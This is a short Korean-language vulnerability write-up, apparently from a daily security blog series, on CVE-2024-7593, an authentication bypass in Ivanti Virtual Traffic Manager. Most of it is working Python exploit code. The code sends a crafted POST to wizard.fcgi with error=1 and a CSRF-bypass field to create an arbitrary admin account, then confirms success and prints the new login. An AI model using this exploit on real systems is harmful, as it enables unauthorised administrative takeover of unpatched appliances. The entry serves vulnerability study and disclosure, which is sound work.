[하루한줄] CVE-2024-7593: Ivanti Virtual Traffic Manager (vTM)의 관리자 계정 생성으로 인한 Authentication Bypass 취약점

URL

Target

  • Ivanti Virtual Traffic Manager 22.2, 22.3, 22.3R2, 22.5R1, 22.6R1, 22.7R1

Explain

Ivanti Virtual Traffic Manager (vTM)은 소프트웨어 기반의 Application Delivery Controller(ADC)로 클라우드 및 가상 환경에서의 로드밸런싱과 애플리케이션 딜리버리 기능을 제공합니다.

CVE-2024-7593은 vTM에 임의의 관리자 계정을 생성하는 취약점으로 CVSS 9.8을 받았습니다.

params = { 
    'error': 1,
    'section': 'Access Management:LocalUsers'
}
          
data = {
    '_form_submitted': 'form',
    'create_user': 'Create',
    'group': 'admin',
    'newusername': new_admin_name,
    'password1': new_admin_password,
    'password2': new_admin_password
}

r = session.post(admin_portal + "/apps/zxtm/wizard.fcgi", params=params, data=data, verify=False, allow_redirects=False)

파라미터 error1로 설정하여 wizard.fcgi의 Access Control을 우회할 수 있고 section 파라미터를 통해 계정 생성을 위한 섹션을 로드합니다. 리퀘스트의 data에는 CSRF 방지 우회를 위한 _form_submitted 필드에는 form으로 설정하고, 계정 생성을 의미하는 create_user 필드에 Create를 넣어줍니다. 그리고 나머지 관리자 계정 생성을 위한 정보들을 넣고 post 요청을 보냅니다.

content = r.content.decode('utf-8')
print(content)

if r.status_code == 200 and '<title>2<' in content:
    print("New user request sent")
    print("Login with username '" + new_admin_name + "' and password '" + new_admin_password + "'")
else:
    print("Unable to create new user")

리스폰스를 통해 계정 생성이 정상적으로 수행했는지 확인 후 생성한 계정을 사용하면 로그인이 가능합니다.